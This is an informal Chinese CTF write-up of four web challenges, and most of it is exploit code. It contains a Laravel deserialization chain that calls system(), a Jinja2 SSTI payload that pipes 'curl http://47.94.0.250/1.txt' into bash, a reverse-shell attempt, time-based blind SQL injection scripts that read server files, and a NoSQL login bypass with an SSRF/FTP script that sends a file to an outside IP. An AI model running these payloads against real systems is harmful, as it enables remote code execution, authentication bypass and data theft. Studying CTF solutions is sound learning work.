ez_larave1

知识点

https://xz.aliyun.com/t/8359

exp

<?php

namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        public function __construct($events="",$event="")
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver = "system";
    }
}

namespace Illuminate\Broadcasting{
    class BroadcastEvent
    {
        public $connection = "whoami";
    }
}

namespace{
    $d = new Illuminate\Bus\Dispatcher();
    $b = new Illuminate\Broadcasting\BroadcastEvent();
    $p = new Illuminate\Broadcasting\PendingBroadcast($d,$b);
    echo urlencode(serialize($p));
}

?>

这个题学会了调试程序把！ 慢慢来！

操了！5.7版本 5.8的exp可以打！

wwwafed_app

image-20210414001247516

知识点

看着是ssti! 但是又过滤呀！这！！！

image-20210414001046665


from flask import Flask, request,render_template,url_for
from jinja2 import Template
import requests,base64,shlex,os

app = Flask(__name__)

@app.route("/")
def index():
	return render_template('index.html')

@app.route("/waf")
def wafsource():
	return open("waf.py").read()

@app.route("/source")
def appsource():
	return open(__file__).read()

@app.route("/api/spider/<url>")
def spider(url):
	url = base64.b64decode(url).decode('utf-8')
	safeurl = shlex.quote(url)
	block = os.popen("python3 waf.py " + safeurl).read()
	if block == "PASS":
		try:
			req = requests.get("http://"+url,timeout=5)
			return Template("访问成功!网页返回了{}字节数据".format(len(req.text))).render()
		except:
			return Template("访问{}失败！".format(safeurl)).render()
	else:
		return Template("WAF已拦截，请不要乱输入参数！").render()

if __name__ == "__main__":
	app.run(host="0.0.0.0",port=5000,debug=True)

image-20210414001222938

把ssti代码base64一下！过不了waf！不知道大佬是咋过的！

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__["sys"].modules["os"].system("curl http://47.94.0.250/1.txt|bash")}}


image-20210419181405251

<class '_frozen_importlib_external.FileLoader'>' 大佬用的这个！

学到了！

image-20210419181500147

我反弹shell玩一下！

my_open = open('g:/2.txt', 'w')
for i in []:
    my_open.write(i+"\n")

#在文件中写入一个字符串
my_open.close()

找到了<class 'os._wrap_close'>

'sys': <module 'sys' (built-in)>,

里面有sys 'popen'

{{"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']("ls").read()}}

{{"".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__["sys"].modules["os"].system("bash 0.0.0.0/1.txt|bash")}}

image-20210419182120096

自己测了测发现 popen 没回显 页不能curl！

web_check_in

image-20210414001135767

知识点：

hint1: 尝试sql注入出不一样的回显
hint2: 时间盲注
hint3: 这个随机数怎么和我平时用的不太一样？
hint4: 你知道php在apache是怎么装载的嘛？

sql注入！

md，注入点在哪啊！

笛卡尔积盲注！ 🙄🙄🙄

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2021/4/19 19:45
# @Author  : upload
# @File    : dadada.py
# @Software: PyCharm

import requests
import string
import time
url = 'http://node.mrctf.fun:10023/'
flag = ''
dic = " <?"+string.ascii_letters + string.digits + '_!@#$%^&*{}.-?> '
for i in range(1,250):
   for j in dic:
       #payload = "' or if((select ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)))>%d,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),1)#" %(i,mid)
       #payload = "' or if((select ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='user'),%d,1)))>%d,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C),1)#" %(i,mid)
       payload = "admin' and if(ascii(substr((select(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))),{},1)) like ascii('{}'),(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),0) -- + ".format(i, j)
       parm = {
           "username": payload,
           "password": "123"
       }

       time_1 = time.time()
       try:
           res = requests.get(url=url,params=parm, timeout=2)
       except:
           pass
       print(payload)
       # res = requests.get(url=url,params=parm,timeout=2)    # 不限制超时
       time_2 = time.time()
       time_offset = time_2 - time_1
       print(time_offset)

       if time_offset > 2:      # 为真时，即判断正确的时候的条件
           flag += j
           print(flag)
           break
   if flag == flag+j:
       print(flag)
       break


#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2021/4/19 19:25
# @Author  : upload
# @File    : pppppp.py
# @Software: PyCharm

import time
import requests

url_1 = 'http://node.mrctf.fun:10023/?username='
url_2 = '&password=123'
url = ''
print('Processing...')

i = 1
content = ''
while True:
    low = 32
    high = 127
    mid = low
    while high > mid:
        payload = "admin' and if(ascii(substr((select(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))),{},1))like {},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),0) -- + ".format(
            i, mid)
        url = url_1 + payload + url_2
        time_1 = time.time()
        print(url)
        try:
            res = requests.get(url=url, verify=False,timeout=2)
        except:
            pass
        time_2 = time.time()
        time_offset = time_2 - time_1
        if time_offset > 2:
            content += chr(mid)
            print(content)
            break
        else:
            mid += 1
    i += 1

Half-Nosqli

知识点

node是什么？好吃吗？

swagger是什么？好吃吗

mongo是什么？好吃吗？

ftp是什么？好吃吗？

flag在ftp服务files文件夹下

发现大赛必出node题目！！！

nodejs的网站快！

image-20210414001110629

日了

首先是swagger的常用路径./docs

这里使用nosqli的永真trick绕过

import requests as r
url = "http://node.mrctf.fun:23000/"

json = {
    "email":{
        "$ne":1
    },
    "password":{
        "$ne":1
    }
}

req = r.post(url+"login",json=json)

print(req.text)

token = req.json()['token']

"Authorization":"Bearer "+token, jwt

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2021/4/20 11:03
# @Author  : upload
# @File    : mrctf.py
# @Software: PyCharm

import requests as r
url = "http://node.mrctf.fun:23000/"

# json = {
#     "email":{
#         "$ne":1
#     },
#     "password":{
#         "$ne":1
#     }
# }
#
# req = r.post(url+"login",json=json)
#
# print(req.text)

token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYUBhLmNvbSIsImV4cCI6MTYxODkxMTIxMCwiaWF0IjoxNjE4OTA3NjEwfQ.lBwpuBasUcQiBJVJn2fJ2xqancNPbb0Wt-kQFNfyPaA'

headers = {
    "Accept":"*/*",
    "Authorization":"Bearer "+token,
}

url_payload = "http://47.94.0.250:1/"

payload ='''
USER anonymous
PASS admin888
CWD files
TYPE I
PORT 47.94.0.250,0,1890
RETR flag
'''.replace("\n","\r\n")



def payload_encode(raw):
    ret = u""
    for i in raw:
        ret += chr(0xff00+ord(i))
    return ret
#url_payload = url_payload + payload.replace("\n","\uff0d\uff0a")

#url_payload = url_payload + payload.replace(" ","\uff20").replace("\n","\uff0d\uff0a")

url_payload = url_payload + payload_encode(payload)

print(url_payload)

json = {
    "url":url_payload
}

req = r.post(url+"home",headers=headers,json=json)

print(req.text)